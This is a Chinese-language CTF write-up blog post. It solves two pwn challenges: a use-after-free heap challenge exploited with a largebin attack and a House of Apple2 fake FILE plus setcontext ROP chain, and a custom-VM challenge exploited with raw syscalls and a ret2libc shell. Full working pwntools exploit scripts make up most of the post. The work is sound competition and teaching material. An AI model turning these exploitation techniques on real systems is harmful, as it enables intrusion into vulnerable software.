打了打宁波安全，虽然但是或许能拿到线下名额但是不想往那边跑了，一开学各种事情。但是比较难绷的是西湖论剑用了一摸一样的附件，还拿了道二血，还有更难绷的是另一个 pwn 靶机死活打不开导致另一个题目写都写不了

写西湖论剑的时候我一看附件都一模一样，由于一个是 apple 一个 vm 印象还是比较深的：

Regular_apples：

看一下 libc 版本：

IDA 静态分析：

main：

add：

size 会存入dword_4060[idx] 这个数组，chunk 地址会放在(_QWORD *)&unk_4140 + idx_1

简单来说 add 就会创建一个 0x500-0x530 大小的堆，之后允许写入内容

delete：

UAF

edit：

show：

seccomp：

沙箱这一块儿算是比较阴的一点吧，分析 ida 里面没看到有沙箱，实际上却是有沙箱的，禁用了 execve：

EXP 思路：

这道题目给的条件很多，也没有过多的限制，那么我们就可以比较轻松地拿到 libc_base 和 heap_base：

泄露 libc_base 和 heap_base：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import*

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

p = process('./pwn_patched')
elf = ELF('./pwn_patched')
libc = ELF('./libc.so.6')
context.terminal=["tmux","splitw","-h"]

def menu(n):
    p.sendlineafter(b"> ", str(n).encode())


def idx(i):
    p.sendlineafter(b"Please enter yours Index: \n", str(i).encode())


def add(i, size, data=b""):
    menu(1)
    idx(i)
    p.sendlineafter(b"Please enter yours Size: \n", str(size).encode())
    p.sendafter(b"Please enter yours Content: \n", data)


def delete(i):
    menu(2)
    idx(i)


def edit(i, data):
    menu(3)
    idx(i)
    p.sendafter(b"Please enter yours Content: \n", data)


def show(i):
    menu(4)
    idx(i)
    return p.recvn(8)

add(0,0x500,b'aaaa')
add(1,0x500,b'bbbb')
add(2,0x500,b'cccc')
add(3,0x500,b'dddd')
delete(0)

leak_addr = u64(show(0))
log.success(hex(leak_addr))
libc_base = leak_addr - 0x21ace0
log.success(f'libc_base is ==> {hex(libc_base)}')
gdb.attach(p)
pause()

之后继续去泄露 heap_base：

1
2
3
4
5
6
7
delete(2)
heap_addr = u64(show(2))
log.success(hex(heap_addr))
heap_base = heap_addr - 0x290
log.success(f'heap_base is ==> {hex(heap_base)}')
gdb.attach(p)
pause()

largebin_attack：

考虑到后续再高版本的条件下要打 house of apple2，堆大小又限制在 largebin，我们只能利用 largebin_attack 去把地址写到 IO_list_all 上去填充数据：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(4,0x500,b'dddd')
add(5,0x500,b'eeee')

add(6, 0x510, b"ffff")
add(7, 0x500, b"gggg")
add(8, 0x500, b"hhhh")
add(9, 0x500, b"iiii")

delete(6)
add(10,0x520,b'jjjj')   # put chunk6 to largebin
delete(8)

_IO_list_all = libc_base + 0x021b680  
fake_bk_nextsize = (b'a'* 0x18 + p64(_IO_list_all - 0x20)).ljust(0x510,b'a')
edit(6,fake_bk_nextsize)

add(11,0x520,b'hhhh')  # 把 idx 8 的 chunk header 地址 写入 _IO_list_all


算是比较常见的手法了，构造一个基础的 largebin_attack，把 chunk8 的堆地址写到*(_IO_list_all)

apple2：

伪造一个 _IO_FILE，让 glibc 在 exit() 时把控制流带进 setcontext+0x3d，最后跳到堆上的 ROP 执行 orw

链子执行流程大概就是这样： exit -> _IO_flush_all_lockp -> fake FILE -> _IO_wfile_jumps -> fake wide_data -> fake wide vtable -> setcontext+0x3d ->rsp = heap_orw -> ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def fake_file(fake_addr, libc_base):   # 伪造的 FILE 结构所在 chunk 的 header 地址是 fake_addr
    wide = fake_addr + wide_off
    vtable = fake_addr + vtable_off
    rop = fake_addr + rop_off                    # rop_off = 0x2c0
    path = rop + 0x138
    out = fake_addr + out_off
    chain = rop_chain(libc_base, path, out)

    payload = flat(                              # payload 会被写进 chunk 8 的 user data
        {
            0x18: 1,
            0x78: fake_addr + 0x488,             # _lock 指向一个可写地址，避免走锁逻辑时崩溃。
            0x90: wide,                          # _wide_data 指向伪造的 wide_data 区域。
            0xb0: p32(1),                        # _mode 置成 1，满足 wide 路径的一些状态检查。
            0xc8: libc_base + io_wfile_jumps,    # vtable 指向真实的 _IO_wfile_jumps

            wide_off + 0x10: 1,
            wide_off + 0x90: rop,                       # setcontext+0x3d: rsp = [rdx + 0xa0]
            wide_off + 0x98: libc_base + pop_rax,       # rip = rsp + 0x8
            wide_off + 0xd0: vtable,
            vtable_off + 0x58: libc_base + setcontext + 0x3d,

            0x2b0: chain,
        },
        filler=b"\x00",
        length=0x500,
    )
    return payload

def rop_chain(libc_base, path, out):
    orw = flat(sys_openat, libc_base + pop_rdi, at_fdcwd, libc_base + pop_rsi, path, libc_base + pop_rdx_rbx, 0, 0, libc_base + syscall_ret)
    orw += flat(libc_base + pop_rax, sys_read, libc_base + pop_rdi, 3, libc_base + pop_rsi, out, libc_base + pop_rdx_rbx, read_size, 0, libc_base + syscall_ret)
    orw += flat(libc_base + pop_rax, sys_write, libc_base + pop_rdi, 1, libc_base + pop_rsi, out, libc_base + pop_rdx_rbx, read_size, 0, libc_base + syscall_ret)
    orw += flat(libc_base + pop_rax, sys_exit, libc_base + pop_rdi, 0, libc_base + pop_rsi, 0, libc_base + pop_rdx_rbx, 0, 0, libc_base + syscall_ret)
    orw += b"flag\x00\x00\x00\x00" + p64(0xdeadbeef)
    return orw

fake_addr = heap_addr + 0x510 * 4 + 0x520 + 0x510
edit(8, fake_file(fake_addr, libc_base))

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
from pwn import*
context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

p = process('./pwn_patched')
elf = ELF('./pwn_patched')
libc = ELF('./libc.so.6')
context.terminal=["tmux","splitw","-h"]

io_list_all = 0x21b680
io_wfile_jumps = 0x2170c0
setcontext = 0x539e0

pop_rdi, pop_rsi, pop_rdx_rbx, pop_rax, syscall_ret = 0x2a3e5, 0x2be51, 0x904a9, 0x45eb0, 0x91316

sys_read, sys_write, sys_exit, sys_openat = 0, 1, 60, 257
at_fdcwd = 0xffffffffffffff9c

read_size = 0xb0
wide_off = 0x100
vtable_off = 0x240
rop_off = 0x2c0
path_off = 0x430
out_off = 0x450

def menu(n):
    p.sendlineafter(b"> ", str(n).encode())


def idx(i):
    p.sendlineafter(b"Please enter yours Index: \n", str(i).encode())


def add(i, size, data=b""):
    menu(1)
    idx(i)
    p.sendlineafter(b"Please enter yours Size: \n", str(size).encode())
    p.sendafter(b"Please enter yours Content: \n", data)


def delete(i):
    menu(2)
    idx(i)


def edit(i, data):
    menu(3)
    idx(i)
    p.sendafter(b"Please enter yours Content: \n", data)


def show(i):
    menu(4)
    idx(i)
    return p.recvn(8)

add(0,0x500,b'aaaa')
add(1,0x500,b'bbbb')
add(2,0x500,b'cccc')
add(3,0x500,b'dddd')
delete(0)

leak_addr = u64(show(0))
log.success(hex(leak_addr))
libc_base = leak_addr - 0x21ace0
log.success(f'libc_base is ==> {hex(libc_base)}')

delete(2)
heap_addr = u64(show(2))
log.success(hex(heap_addr))
heap_base = heap_addr - 0x290
log.success(f'heap_base is ==> {hex(heap_base)}')

add(4,0x500,b'dddd')
add(5,0x500,b'eeee')

# fd = heap_addr + 4 * 0x510
add(6, 0x510, b"ffff")
add(7, 0x500, b"gggg")
add(8, 0x500, b"hhhh")
add(9, 0x500, b"iiii")

delete(6)
add(10,0x520,b'jjjj')   # put chunk6 to largebin
delete(8)

_IO_list_all = libc_base + io_list_all
fake_bk_nextsize = (b'a'* 0x18 + p64(_IO_list_all - 0x20)).ljust(0x510,b'a')
edit(6,fake_bk_nextsize)

add(11,0x520,b'hhhh')  # 把 idx 8 的 chunk header 地址 写入 _IO_list_all

def fake_file(fake_addr, libc_base):
    # 伪造的 FILE 结构所在 chunk 的 header 地址是 fake_addr。
    wide = fake_addr + wide_off
    vtable = fake_addr + vtable_off
    rop = fake_addr + rop_off   # rop_off = 0x2c0
    path = rop + 0x138
    out = fake_addr + out_off
    chain = rop_chain(libc_base, path, out)

    # payload 会被写进 chunk 8 的 user data
    payload = flat(
        {
            0x18: 1,
            0x78: fake_addr + 0x488,             # _lock 
            0x90: wide,                          # _wide_data 
            0xb0: p32(1),                        # _mode 
            0xc8: libc_base + io_wfile_jumps,    # _IO_wfile_jumps

            wide_off + 0x10: 1,
            wide_off + 0x90: rop,                       # setcontext+0x3d: rsp = [rdx + 0xa0]
            wide_off + 0x98: libc_base + pop_rax,       # rip = rsp + 0x8
            wide_off + 0xd0: vtable,
            vtable_off + 0x58: libc_base + setcontext + 0x3d,

            0x2b0: chain,
        },
        filler=b"\x00",
        length=0x500,
    )
    return payload

def rop_chain(libc_base, path, out):
    orw = flat(sys_openat, libc_base + pop_rdi, at_fdcwd, libc_base + pop_rsi, path, libc_base + pop_rdx_rbx, 0, 0, libc_base + syscall_ret)
    orw += flat(libc_base + pop_rax, sys_read, libc_base + pop_rdi, 3, libc_base + pop_rsi, out, libc_base + pop_rdx_rbx, read_size, 0, libc_base + syscall_ret)
    orw += flat(libc_base + pop_rax, sys_write, libc_base + pop_rdi, 1, libc_base + pop_rsi, out, libc_base + pop_rdx_rbx, read_size, 0, libc_base + syscall_ret)
    orw += flat(libc_base + pop_rax, sys_exit, libc_base + pop_rdi, 0, libc_base + pop_rsi, 0, libc_base + pop_rdx_rbx, 0, 0, libc_base + syscall_ret)
    orw += b"flag\x00\x00\x00\x00" + p64(0xdeadbeef)
    return orw

fake_addr = heap_addr + 0x510 * 4 + 0x520 + 0x510
edit(8, fake_file(fake_addr, libc_base))

# gdb.attach(p)
# pause()

menu(1)
idx(13)
out = p.recvall(5)
print(out.removeprefix(b"error\n").rstrip(b"\x00").decode(errors="replace"))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1. largebin attack
   -> 把 _IO_list_all 改成 fake_addr

2. edit(8, payload)
   -> 在 chunk 8 里写 fake FILE
   -> chunk 8 的 header 地址就是 fake_addr

3. 触发 exit
   -> 程序走退出流程
   -> glibc 调用 _IO_flush_all_lockp

4. _IO_flush_all_lockp 遍历 _IO_list_all
   -> 此时 _IO_list_all = fake_addr
   -> 所以 glibc 把 fake_addr 当成 FILE 结构处理

5. fake FILE 满足刷新条件
   -> 进入 FILE 的 vtable
   -> vtable = libc_base + _IO_wfile_jumps

6. 进入 wide file 路径
   -> 使用 fake FILE 里的 _wide_data
   -> _wide_data = wide

7. wide_data 指向 fake wide vtable
   -> wide_data->_wide_vtable = vtable

8. fake wide vtable 触发函数指针调用
   -> 调用 vtable + 0x68 位置的函数
   -> 这里放的是 setcontext + 0x3d

9. 进入 setcontext + 0x3d
   -> 开始从 fake wide_data 恢复寄存器
   -> 完成栈迁移

10. 执行堆上的 ROP
   -> open/read/write
   -> 打印 flag

mvmph

总 exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
from pwn import *
import struct
import os


BIN = "./vvmm_patched" if os.path.exists("./vvmm_patched") else "./vvmm"
LIBC = ELF("./libc.so.6", checksec=False)
LD = "/lib64/ld-linux-x86-64.so.2"

context.binary = ELF(BIN, checksec=False)
context.log_level = args.LOG or "info"

STAGE2_OFF = 0x300
STAGE3_OFF = 0x500
STAGE4_OFF = 0x700
UNSORTED_LEAK_OFF = 0x21ACE0
SAVED_RIP_FROM_ENVIRON = 0x170


class VMAsm:
    def __init__(self, base=0):
        self.base = base
        self.code = bytearray()

    @property
    def pc(self):
        return self.base + len(self.code)

    def op0(self, op, imm):
        assert 0 <= imm < 0x1000000
        self.code.append((op << 2) | 0)
        self.code.extend(imm.to_bytes(3, "big"))

    def op2(self, op, a, b):
        self.code.extend([(op << 2) | 2, a & 0xff, b & 0xff])

    def op3(self, op, reg, imm):
        self.code.extend([(op << 2) | 3, reg & 0xff])
        self.code.extend(struct.pack("<I", imm & 0xffffffff))

    def halt(self):
        self.code.append(0)

    def movi(self, reg, imm):
        self.op3(3, reg, imm)

    def mov(self, dst, src):
        self.op2(3, dst, src)

    def addi(self, reg, imm):
        self.op3(0x0A, reg, imm)

    def subi(self, reg, imm):
        self.op3(0x0B, reg, imm)

    def shli(self, reg, imm):
        self.op3(0x07, reg, imm)

    def rawsys(self, nr):
        self.op0(0x33, nr)

    def memsys(self, nr):
        self.op0(0x35, nr)

    def set64(self, reg, value):
        self.movi(reg, value >> 32)
        self.shli(reg, 32)
        self.addi(reg, value & 0xffffffff)

    def jmp_abs(self, target):
        next_pc = self.pc + 4
        delta = target - next_pc
        if delta >= 0:
            self.op0(0x29, delta)
        else:
            self.op0(0x29, 0x800000 | (-delta))

    def read_stage(self, offset, size):
        self.movi(0, 0)
        self.movi(1, offset)
        self.movi(2, size)
        self.memsys(0)

    def write_abs(self, addr, size):
        self.movi(0, 1)
        self.set64(1, addr)
        self.movi(2, size)
        self.rawsys(1)

    def read_abs(self, addr, size):
        self.movi(0, 0)
        self.set64(1, addr)
        self.movi(2, size)
        self.rawsys(0)

    def write_heap_window(self, size):
        self.movi(0, 1)
        self.mov(1, 6)
        self.subi(1, 0x1000)
        self.movi(2, size)
        self.rawsys(1)

    def bytes(self):
        return bytes(self.code)


def build_stage1():
    a = VMAsm(0)
    a.movi(0, 0x500)
    a.rawsys(3)
    a.movi(0, 0x20)
    a.rawsys(3)
    a.movi(0, 0)
    a.rawsys(4)
    a.write_heap_window(0x9000)
    a.read_stage(STAGE2_OFF, 0x300)
    a.jmp_abs(STAGE2_OFF)
    a.halt()
    return a.bytes()


def build_stage2(libc_base):
    a = VMAsm(STAGE2_OFF)
    a.write_abs(libc_base + LIBC.symbols["environ"], 8)
    a.read_stage(STAGE3_OFF, 0x200)
    a.jmp_abs(STAGE3_OFF)
    a.halt()
    return a.bytes()


def build_stage3(stack_start, stack_size):
    a = VMAsm(STAGE3_OFF)
    a.write_abs(stack_start, stack_size)
    a.read_stage(STAGE4_OFF, 0x100)
    a.jmp_abs(STAGE4_OFF)
    a.halt()
    return a.bytes()


def build_stage4(saved_rip_slot, rop_len):
    a = VMAsm(STAGE4_OFF)
    a.read_abs(saved_rip_slot, rop_len)
    a.halt()
    return a.bytes()


def start():
    if args.REMOTE:
        host = args.HOST or args.H
        port = int(args.PORT or args.P)
        return remote(host, port)
    if BIN.endswith("_patched"):
        return process([BIN], stdin=PIPE, stdout=PIPE)
    return process([LD, "--library-path", ".", BIN], stdin=PIPE, stdout=PIPE)


def parse_libc_base(heap_leak):
    candidates = []
    for off in range(0, len(heap_leak) - 16, 8):
        q1 = u64(heap_leak[off:off + 8])
        q2 = u64(heap_leak[off + 8:off + 16])
        if q1 == q2 and (q1 >> 40) in range(0x70, 0x80) and (q1 & 0xfff) == 0xce0:
            candidates.append((off, q1))
    if not candidates:
        raise RuntimeError("failed to find unsorted-bin libc leak")
    off, leak = candidates[0]
    libc_base = leak - UNSORTED_LEAK_OFF
    log.success(f"libc leak={hex(leak)} heap_off={hex(off)} libc_base={hex(libc_base)}")
    return libc_base


def find_saved_rip_slot(stack_leak, stack_start):
    hits = []
    for off in range(0, len(stack_leak) - 8, 8):
        value = u64(stack_leak[off:off + 8])
        if (value & 0xfff) == 0xbc3 and (value >> 40) in range(0x55, 0x80):
            hits.append((stack_start + off, value))
    if not hits:
        raise RuntimeError("failed to locate exec_mode0 saved RIP")
    slot, saved = hits[-1]
    log.success(f"saved_rip_slot={hex(slot)} saved_rip={hex(saved)}")
    return slot


def main():
    io = start()
    io.recvuntil(b"opcodes:\n")

    io.send(build_stage1())
    libc_base = parse_libc_base(io.recvn(0x9000))

    io.send(build_stage2(libc_base))
    environ = u64(io.recvn(8))
    log.success(f"environ={hex(environ)}")

    saved_rip_slot = environ - SAVED_RIP_FROM_ENVIRON
    log.success(f"saved_rip_slot={hex(saved_rip_slot)}")

    rop = ROP(LIBC)
    ret = libc_base + rop.find_gadget(["ret"])[0]
    pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"])[0]
    binsh = libc_base + next(LIBC.search(b"/bin/sh\x00"))
    system = libc_base + LIBC.symbols["system"]
    chain = flat(ret, pop_rdi, binsh, system)

    io.send(build_stage4(saved_rip_slot, len(chain)))
    io.send(chain)
    if args.REMOTE or args.CAT:
        io.sendline(b"cat /flag; cat ./flag; exit")
        print(io.recvall(timeout=3).decode(errors="ignore"))
    else:
        io.interactive()


if __name__ == "__main__":
    main()
1. rawsys malloc/free 制造 unsorted bin

2. rawsys write 泄漏 r6 附近 0x9000 字节堆窗口

3. 从 unsorted bin fd/bk 得到 main_arena+0x60，计算 libc base

4. rawsys write 泄漏 libc.environ，得到栈地址

5. environ - 0x170 定位当前 mode0 handler 的 saved RIP

6. rawsys read 把 ret2libc ROP 链写到 saved RIP

7. handler 返回后执行 system("/bin/sh")

说些什么吧！

utterances